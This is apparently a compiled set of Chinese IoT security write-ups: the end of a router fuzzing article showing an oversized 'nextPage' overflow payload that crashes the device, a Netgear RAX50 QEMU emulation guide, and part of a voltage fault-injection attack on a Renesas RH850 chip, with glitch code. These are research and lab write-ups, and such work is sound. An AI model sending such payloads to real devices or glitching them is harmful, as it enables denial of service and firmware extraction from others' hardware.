ccp_act=cancelPing&nextPage=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaLine truncated
|
||||
```
|
||||
可以看到路由器崩溃无法处理请求
|
||||

|
||||
该洞以上报厂商
|
||||
## 总结
|
||||
作为初入iot的新手,挖掘缓冲区溢出洞最最为方便还是学习fuzz,因为本人水平较低,所以该篇堇作为新手漏洞挖掘的一种思路,感谢各位师傅再网上的漏洞挖掘和复现分析
|
||||
@@ -0,0 +1,245 @@
|
||||
# 从零开始的NetGear RAX50 模拟环境搭建
|
||||
> AiMiLiYa
|
||||
> 来源:https://www.iotsec-zone.com/article/498
|
||||
|
||||
## 背景
|
||||
在尝试模拟NetGear RAX50(RAX50-V1.0.9.108_2.0.74)时,使用FirmAE,Firmadyne,都起不来固件时。
|
||||
最后尝试qemu-system模拟,OK发现问题所在,amhf使用的kernel太老,无法启动。哎~这真是一个悲伤的故事。
|
||||
|
||||

|
||||
|
||||
**后续内容简介:低版本linux kernel编译,busybox制作根文件系统,从固件中提取nvram.ini(写的ida插件),qemu-system系统模拟。有需要的读者可以根据内容自行查看。**
|
||||
|
||||
## 编译 linux kernel 4.1.1
|
||||
由于我的qemu系统模拟提供的镜像其内核太老,无法模拟。
|
||||
可以看到我们的目标环境是ARM,内核版本为Linux 4.1.0
|
||||
```bash
|
||||
file ./squashfs-root/usr/sbin/httpd
|
||||
./squashfs-root/usr/sbin/httpd: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
|
||||
```
|
||||
去下载一个版本最接近的kernel [https://www.kernel.org/](https://www.kernel.org/)
|
||||
这里我下载的是4.1.1的内核,解压并进入内核源码目录
|
||||
```bash
|
||||
tar -zxvf linux-4.1.1.tar.gz
|
||||
cd linux-4.1.1/
|
||||
```
|
||||
另外,还需要一个低版本的gcc交叉编译工具,从这里可以下载低版本gcc编译工具链:[https://toolchains.bootlin.com/](https://toolchains.bootlin.com/)
|
||||
我下载的版本为:
|
||||

|
||||
将下载的交叉编译工具解压到某个目录下即可使用其编译我们的kernel了
|
||||
```bash
|
||||
#清除原先make产生得文件
|
||||
make mrproper
|
||||
#查看内核配置文件里面支持哪些开发板
|
||||
#vexpress_defconfig vexpress 是一种常见的ARM开发板,通常用于QEMU模拟。这个配置文件应适用于QEMU的ARMv7架构
|
||||
#realview_defconfig realview 也是一种常见的ARM开发板,适合模拟ARMv7架构的设备。如果您使用的是较早的QEMU ARM板,realview配置也可能适用。
|
||||
ls arch/arm/configs
|
||||
|
||||
export ARCH=arm
|
||||
export CROSS_COMPILE=/home/iotsec-zone/Desktop/kernel/armv7-eabihf--glibc--stable/bin/arm-buildroot-linux-gnueabihf-
|
||||
export PATH=$PATH:/home/iotsec-zone/Desktop/kernel/armv7-eabihf--glibc--stable/bin
|
||||
|
||||
#我的环境在执行make vexpress_defconfig时缺乏依赖
|
||||
#sudo apt-get install bison
|
||||
#sudo apt-get install flex
|
||||
make vexpress_defconfig
|
||||
make menuconfig
|
||||
# System Type -> Enable the L2x0 outer cache controller 取消,会导致仿真失败起不来
|
||||
#然后需要勾选的 当时大概好像是下面这样勾选的
|
||||
#System Type-> Enable the L2x0 outer cache controller ,或
|
||||
#Device Drivers -> Network device support -> Dummy net driver support
|
||||
#Networking support -> Wireless -> cfg80211 - wireless configuration API
|
||||
#Networking support -> Networking options 中 勾选 802.1d Ethernet Bridging, The IPv6 protocol, IP: advanced router, IP: multicasting, IP: multicast routing
|
||||
make -j 8
|
||||
|
||||
```
|
||||
编译过程中会发生报错,如下图
|
||||

|
||||
这个错误表明在链接过程中,符号 yylloc 的重复定义。
|
||||
解决方案:修改源码,如我修改了scripts/dtc/dtc-parser.tab.c中的yylloc为yylloc_即可解决报错。
|
||||
|
||||

|
||||
|
||||
然后重新编译内核。
|
||||
|
||||

|
||||
此时可以使用qemu模拟进行测试了
|
||||
```bash
|
||||
#此命令在linux源码中测试执行,其中所需的内核镜像和设备树文件都在对应的目录下,后续会用到
|
||||
qemu-system-arm -M vexpress-a9 -m 512M -kernel ./arch/arm/boot/zImage -dtb ./arch/arm/boot/dts/vexpress-v2p-ca9.dtb -nographic -append "console=ttyAMA0"
|
||||
```
|
||||
但是由于我们只编译了linux内核,所以qemu会在文件系统那里停住,这是因为没有添加文件系统无法加载根目录。
|
||||
|
||||
## 使用busybox创建根文件系统
|
||||
下面来利用busybox制作根文件系统。
|
||||
安装busybox
|
||||
```bash
|
||||
git clone git://busybox.net/busybox.git && cd busybox
|
||||
export ARCH=arm
|
||||
export CROSS_COMPILE=arm-linux-gnueabihf-
|
||||
|
||||
make defconfig
|
||||
make menuconfig
|
||||
# 勾选 Setting-> Build Options-> [*] Build static binary (no shared libs)
|
||||
# 因为模拟环境下无法使用动态库方式
|
||||
#确认勾选Networking Utilities -> brctl (bridge control)
|
||||
|
||||
make -j 8
|
||||
make install
|
||||
#busybox 默认安装到,._install/bin/目录下
|
||||
```
|
||||
|
||||
进入busybox源码目录下,找到examples/bootfloppy/etc/inittab文件,替换
|
||||
```bash
|
||||
# etc/inittab
|
||||
::sysinit:/etc/init.d/rcS
|
||||
::askfirst:-/bin/sh
|
||||
::ctrlaltdel:/sbin/reboot
|
||||
::shutdown:/sbin/swapoff -a
|
||||
::shutdown:/bin/umount -a -r
|
||||
::restart:/sbin/init
|
||||
```
|
||||
examples/bootfloppy/etc/init.d/rcS 文件,替换为下面内容。并且给文件 777 的权限
|
||||
```bash
|
||||
#!/bin/sh
|
||||
/bin/mount -a
|
||||
/bin/mkdir -p /dev/pts
|
||||
/bin/mount -t devpts devpts /dev/pts
|
||||
/bin/echo /sbin/mdev > /proc/sys/kernel/hotplug
|
||||
/sbin/mdev -s
|
||||
```
|
||||
替换 examples/bootfloppy/etc/fstab 文件内容
|
||||
```bash
|
||||
# <file system> <mount point> <type> <options> <dump> <pass>
|
||||
proc /proc proc defaults 0 0
|
||||
sysfs /sys sysfs defaults 0 0
|
||||
tmpfs /tmp tmpfs defaults 0 0
|
||||
tmpfs /dev tmpfs defaults 0 0
|
||||
```
|
||||
替换 examples/bootfloppy/etc/profile 文件,写入下面内容。
|
||||
```bash
|
||||
export HOSTNAME=zy
|
||||
export USER=root
|
||||
export HOME=/root
|
||||
export PS1="[$USER@$HOSTNAME:\$PWD]\# "
|
||||
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
|
||||
export LD_LIBRARY_PATH=/lib:/usr/lib:$LD_LIBRARY_PATH
|
||||
```
|
||||
最后执行制作文件系统的脚本,会生成一个名为"a9rootfs.ext3"的文件
|
||||
```bash
|
||||
# 本脚本用于生成文件系统,需要在busybox目录下执行
|
||||
#!/bin/sh
|
||||
base=`pwd`
|
||||
tmpfs=/_tmpfs
|
||||
|
||||
sudo rm -rf rootfs
|
||||
sudo rm -rf ${tmpfs}
|
||||
sudo rm -f a9rootfs.ext3
|
||||
sudo mkdir rootfs
|
||||
sudo cp _install/* rootfs/ -raf
|
||||
|
||||
#sudo mkdir -p rootfs/{lib,proc,sys,tmp,root,var,mnt}
|
||||
cd rootfs && sudo mkdir -p lib proc sys tmp root var mnt && cd ${base}
|
||||
|
||||
# 根据自己的实际路径, 拷贝 arm-gcc 中的 libc中的所有.so 库
|
||||
sudo cp -arf /usr/arm-linux-gnueabihf/lib/*so* rootfs/lib
|
||||
|
||||
sudo cp examples/bootfloppy/etc rootfs/ -arf
|
||||
sudo sed -r "/askfirst/ s/.*/::respawn:-\/bin\/sh/" rootfs/etc/inittab -i
|
||||
sudo mkdir -p rootfs/dev/
|
||||
sudo mknod rootfs/dev/tty1 c 4 1
|
||||
sudo mknod rootfs/dev/tty2 c 4 2
|
||||
sudo mknod rootfs/dev/tty3 c 4 3
|
||||
sudo mknod rootfs/dev/tty4 c 4 4
|
||||
sudo mknod rootfs/dev/console c 5 1
|
||||
sudo mknod rootfs/dev/null c 1 3
|
||||
sudo dd if=/dev/zero of=a9rootfs.ext3 bs=1M count=64
|
||||
# 如果提示 "No space left on device" 证明 dd 命令中 count 的大小不够
|
||||
|
||||
sudo mkfs.ext3 a9rootfs.ext3
|
||||
sudo mkdir -p ${tmpfs}
|
||||
sudo chmod 777 ${tmpfs}
|
||||
sudo mount -t ext3 a9rootfs.ext3 ${tmpfs}/ -o loop
|
||||
sudo cp -r rootfs/* ${tmpfs}/
|
||||
sudo umount ${tmpfs}
|
||||
```
|
||||
|
||||
## 使用编译的内核和制作的根文件系统qemu-system模拟
|
||||
将制作的根文件系统,编译的linux kernel和设备树文件拷贝到同一目录下,然后qemu模拟
|
||||
```bash
|
||||
sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a9 -m 1024M -dtb ./vexpress-v2p-ca9.dtb -kernel ./zImage -nographic -append "root=/dev/mmcblk0 rw console=ttyAMA0" -drive file=./a9rootfs.ext3,format=raw,if=sd -netdev tap,id=net0,ifname=tap0,script=no,downscript=no -device virtio-net-device,netdev=net0
|
||||
|
||||
#配置网卡
|
||||
ip addr add 192.168.1.1/24 dev eth0
|
||||
ip link set eth0 up
|
||||
ip addr add 127.0.0.1/24 dev lo
|
||||
ip link set lo up
|
||||
|
||||
```
|
||||
宿主机中配置网卡,并将解包的固件文件系统进行打包,并启动python用于传输文件
|
||||
```bash
|
||||
sudo ifconfig tap0 192.168.1.101/24 up
|
||||
tar -zcvf squashfs-root.gz squashfs-root
|
||||
python3 -m http.server 8080
|
||||
```
|
||||
模拟机中,下载固件的文件系统并解包,然后进入shell环境
|
||||
```bash
|
||||
cd tmp
|
||||
wget http://192.168.1.101:8080/squashfs-root.gz
|
||||
tar -zxvf squashfs-root.gz
|
||||
mount -t proc /proc/ ./squashfs-root/proc/
|
||||
mount -o bind /dev/ ./squashfs-root/dev/
|
||||
mount --bind /sys/ ./squashfs-root/sys/
|
||||
chroot squashfs-root sh
|
||||
```
|
||||
OK,解决内核太旧的问题。
|
||||
|
||||

|
||||
## 获取nvram.ini
|
||||
NetGear里面有非常多的数据都是来自nvram(非易失性随机访问存储器),一般来说nvram是在运行后才有。
|
||||
在网上说libnvarm.so中会有一些默认的配置在里面,但是网上并没有给出方便提取的插件(也可能是我没找到)
|
||||
为了方便起见,我自己写了一个获取nvram.ini的ida插件(注意:本人ida使用的是7.7,因此版本太高或者太低都可能不支持)
|
||||
插件链接[GetNvramIni.py](https://github.com/emt-emt/Iot/blob/main/Tools/GetNvramIni.py)
|
||||
放在IDA的Plugins目录下即可使用,快捷键为Ctrl+Alt+N
|
||||
其会将提取到的配置自动保存至与打开的efl文件同目录下
|
||||
此固件中的一些默认配置在/usr/lib/libacos_nvram.so中。
|
||||

|
||||
局限性:有些配置是动态生成的,但此插件只能获取一些存在lib中的默认值,需要自己找到数据所在。
|
||||
|
||||
## 开始模拟
|
||||
可以从该github中下载nvram.so进行hook:[custom_nvram](https://github.com/therealsaumil/custom_nvram)
|
||||
将获取的nvarm.so和生成的nvarm.ini都拷贝近ubuntu虚拟机待用。
|
||||
```bash
|
||||
mkdir /var/tmp
|
||||
mkdir -p /var/run
|
||||
wget http://192.168.1.101:8080/nvram.so
|
||||
wget http://192.168.1.101:8080/nvram.ini
|
||||
chmod 755 nvram.so
|
||||
mv nvram.ini tmp/
|
||||
|
||||
#方便调试启动 utelnetd
|
||||
/usr/sbin/utelnetd -l /bin/sh &
|
||||
|
||||
#启动httpd
|
||||
LD_PRELOAD="./nvram.so" /usr/sbin/httpd -S -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem &
|
||||
```
|
||||
浏览器访问一下,可以看到,httpd已经被正常执行起来了,但是由于NetGear的尿性,要给它联网才能正常访问它的管理界面,我的模拟环境并没有给它配备网络。(给序列号是没有用滴,之前我有个实机的NetGear就是,必须要给网才行)
|
||||
|
||||

|
||||
还可以将它的upnpd服务也开启
|
||||
```
|
||||
LD_PRELOAD="./nvram.so" /usr/sbin/upnpd
|
||||
```
|
||||
该upnp的tcp绑定端口默认为56688
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
好啦,环境搭建到此结束啦。
|
||||
|
||||
### 参考文章
|
||||
[dp7crb#google_vignette](https://geekdaxue.co/read/barret@xhw7bc/dp7crb#google_vignette)
|
||||
[可恶,这次我一定要编译出Linux内核](https://zikh26.github.io/posts/ba98f82e.html)
|
||||
[为 QEMU ARM 仿真器编译 Linux 内核:QEMU 模拟 ARM 环境](https://blog.csdn.net/song_lee/article/details/105815237)
|
||||
[https://cool-y.github.io/2021/01/08/nvram-config/](https://cool-y.github.io/2021/01/08/nvram-config/)
|
||||
@@ -0,0 +1,101 @@
|
||||
# 使用故障注入绕过瑞萨 RH850的读保护
|
||||
> heiyu
|
||||
> 来源:https://www.iotsec-zone.com/article/466
|
||||
|
||||
# 介绍
|
||||
在这篇博客文章中,我将描述一种故障注入攻击,以读取禁用了编程器访问权限的瑞萨 R7F701381(RH850/P1M-E 系列)的闪存内容。这款微控制器专为安全关键应用(ASIL-D)而设计,具有第二核心,可以以锁步方式运行并检查第一核心。指令高速缓存和 RAM 具有 ECC 功能。
|
||||
|
||||
这个项目的原因是我正在尝试从 2021 年丰田 RAV4 Prime 的电子动力转向(EPS)模块中转储固件。这是使用 Autosar 的新 SecureOnboard Communication(SecOC)标准的新丰田车型之一,用于验证 CAN 消息。这意味着 EPS 不再接受来自第三方设备的伪造 CAN 消息。希望将来我会写更多关于这个的内容。
|
||||
|
||||
不幸的是,这辆车的零件太罕见,无法在废品场找到,所以必须购买新的零件($$$)。我以前查看过的现代和本田 EPS 模块留下了宽敞的调试访问权限,但对于这个 EPS 来说并非如此。这意味着仅仅读取固件将是解决这个 SecOC 问题的第一个挑战。
|
||||
|
||||

|
||||
|
||||
故障注入攻击的灵感来自 Franck Jullien 对 Renesas RX65 的重要研究。然而,这种攻击在几个方面有所不同。RH850 使用 V850 架构而不是 RX,这意味着引导 ROM 可能不同。我使用双线(UART)调试接口,而不是单线 FINE 接口。Franck 还必须绕过 ID 代码(密码)检查,而在这个设备上,编程接口本身被“禁用”。
|
||||
|
||||
Collin O'Flynn 在他 2020 年的论文中对 NXP MPC55xx 和 MPC56xx 进行了有趣的研究:“BAM BAM!!关于在现场汽车 ECU 攻击中 EMFI 可靠性的研究”。在这篇论文中,他能够使用电磁故障注入绕过 Boot Assist Module 中的密码检查。这项研究很重要,因为 MPC55xx/MPC56xx 也是一种汽车芯片,并且具有与 RH850/P1M-E 相似的 ASIL-D 安全特性。
|
||||
|
||||
首先,我将描述该芯片使用的调试协议。然后,我将介绍故障注入,并描述在此攻击中使用的硬件和软件。本文中使用的所有代码都可以在 GitHub 上找到。
|
||||
|
||||
# 双线调试协议
|
||||
|
||||
读取固件的第一步是将其连接到计算机。幸运的是,这款瑞萨芯片支持一种双线协议,可以使用标准的 5V USB-TTL 电缆连接到计算机。要启用调试模式,只需使用上拉电阻将 `FLMD0 `引脚拉高。 `JP0_0` 和 `JP0_1` 必须连接到 USB-TTL 适配器上的 `RX` 和 `TX` 。
|
||||
|
||||
在与用于安全关键应用的微控制器一起工作时,您必须始终注意外部看门狗。这也是这个 EPS 的情况。如果外部看门狗不满意,它将通过短暂拉低复位线来强制重置微控制器。在进入引导加载程序后不久,芯片将被重置。通过将 100 欧姆电阻连接到+5V,强制将复位线拉高,从而解决了这个问题,这足以压倒外部看门狗。为了仍然能够控制复位线,我在复位和 GND 之间添加了一个 N-FET,可以使用 USB-TTL 适配器上的 `DTR` 线软件控制。
|
||||
|
||||
稍微焊接后,一切都连接好了,我可以使用瑞萨闪存编程器进行通信。不幸的是,事情并不那么简单,我收到一条消息说“此设备禁止串行连接”。在我尝试绕过这个问题之前,我首先需要了解闪存编程器和设备之间的协议。这可以让我了解可能存在的弱点,并让我构建自己的闪存器实现。
|
||||
|
||||

|
||||
|
||||
尽管没有我的确切芯片的文档,但您可以从其他芯片的文档中学到很多。瑞萨在许多芯片上使用了相似的相同调试协议实现。在这种情况下,“RX65N 组,RX651 组用户手册:硬件”(第 59.13 节,引导模式通信协议)和应用笔记“瑞萨 RA 系列标准引导固件的系统规格”都被证明非常有用。Greg Hogan 还为 V850 和 SH72 提供了 Python 实现。
|
||||
|
||||
连接逻辑分析仪并尝试连接后,我可以观察到 PC 和设备之间的通信。命令有两种类型:一种是回复简单的 OK,另一种是可以请求更多数据的。命令以 `0x01` 或 `0x81` 开头,后跟两个字节的长度。每个数据包以 1 字节的校验和 2 和一个常数 `0x03` 结束。
|
||||
|
||||

|
||||
|
||||
在以下示例中,使用命令 `0x32` (频率设置命令),您可以看到设备返回一个简单的 `ACK` ,但当回显相同的 `ACK` 时,它会发送实际数据。在尝试使用读取命令读取闪存时,这将在以后变得相关。
|
||||
|
||||

|
||||
|
||||
Renesas Flash Programmer GUI 首先经过几个步骤设置设备时钟频率和波特率。然后,它发送一个“同步”命令,返回错误 `0xDC` (串行编程禁用错误)。如果您跳过其中任何步骤,或尝试在不调用同步的情况下发出读取命令,您将收到错误 `0xC3` (流程错误)。这进一步得到 RX65 数据表中的流程图的确认,该图显示了进入命令等待阶段所需的所有步骤,您应该能够发出读取命令。查看流程图后,我得到了这样一个想法,即同步命令是设备检查程序员连接是否被允许的唯一位置。如果您成功跳转到命令等待阶段,您应该能够做任何您想做的事情。
|
||||
|
||||

|
||||
|
||||
# 故障注入
|
||||
故障注入是一种方法,其中您在 CPU 在正常操作范围之外运行。这可以通过(非常简要地)改变操作电压(电压故障)或时钟频率(时钟故障)来实现。还可以通过向芯片发送电磁或激光脉冲来影响其行为。
|
||||
|
||||
电压和时钟故障都可以使用相对便宜的硬件来实现,比如 FPGA 甚至是一个小型微控制器和少量外部部件。
|
||||
|
||||
故障注入的主要目标是影响微控制器的行为。这可能是由于直接跳过指令,或导致内存读取/写入失败。
|
||||
|
||||
在这种情况下,我将对微控制器的电源电路执行电压干扰。通过在 100 纳秒或更短的时间内短路电源,您可以修改运行程序中非常特定部分的行为。
|
||||
|
||||
具体来说,我正在针对接收到同步命令后检查编程是否已启用的部分。 命令的最后一个字节和响应的第一个字节之间的时间约为 100 微秒。 鉴于故障注入的持续时间很短,可能需要相当长的时间才能找到正确的时序。
|
||||
|
||||
# 电压干扰 - 硬件
|
||||
在 RH850 数据表的 9.3.1 节中,显示了电源电路的方框图(见下图)。您可以看到 CPU 核心(数字电路)的电压是由内部 1.25V 稳压器(在图中标记为 eVR)生成的。为了稳定电压,它被引出到外部引脚上连接一个电容器( `VCL` )。这个引脚是一个非常方便的点来执行故障注入。它对芯片的其余外围设备几乎没有影响,并且不受核心电压监视器的检查。
|
||||
|
||||

|
||||
|
||||
由于 RH850 用于安全关键应用,它有第二个核心作为检查器。可能有两个 VCL 引脚,可能每个核心一个。它们可能需要同时出现故障以达到期望的结果。否则,结果可能是核心不同步,设备将重置。
|
||||
|
||||
将 VCL 引脚上的去耦电容器移除,否则会平滑掉毛刺。然后将两个 VCL 引脚连接到一个 N-FET(我手头上有 DMN2050L,但任何快速 N-FET 都可以)由 Raspberry Pi Pico 驱动。下面显示了 PCB 的图片。两个 N-FET 被粘在板上,并使用短线连接。左下角的连接器用于连接到调试接口。
|
||||
|
||||

|
||||
|
||||
# 电压干扰 - 软件
|
||||
故障是由一些代码生成的 Raspberry RP2040 生成的。固件的重要部分就是这么简单:
|
||||
|
||||
```
|
||||
1. if (uart_getc(uart0) != '\x01') continue;
|
||||
2. if (uart_getc(uart0) != '\x00') continue;
|
||||
3. if (uart_getc(uart0) != '\x01') continue;
|
||||
4. if (uart_getc(uart0) != '\x00') continue;
|
||||
5. if (uart_getc(uart0) != '\xff') continue;
|
||||
6.
|
||||
7. busy_wait_at_least_cycles(real_delay);
|
||||
8. gpio_put(GLITCH_PIN, 1);
|
||||
9. busy_wait_at_least_cycles(width);
|
||||
10. gpio_put(GLITCH_PIN, 0);
|
||||
```
|
||||
|
||||
RP2040 等待同步命令(减去最后 \ `x 03` ),稍等片刻然后生成一个短脉冲。其余固件处理通过
|
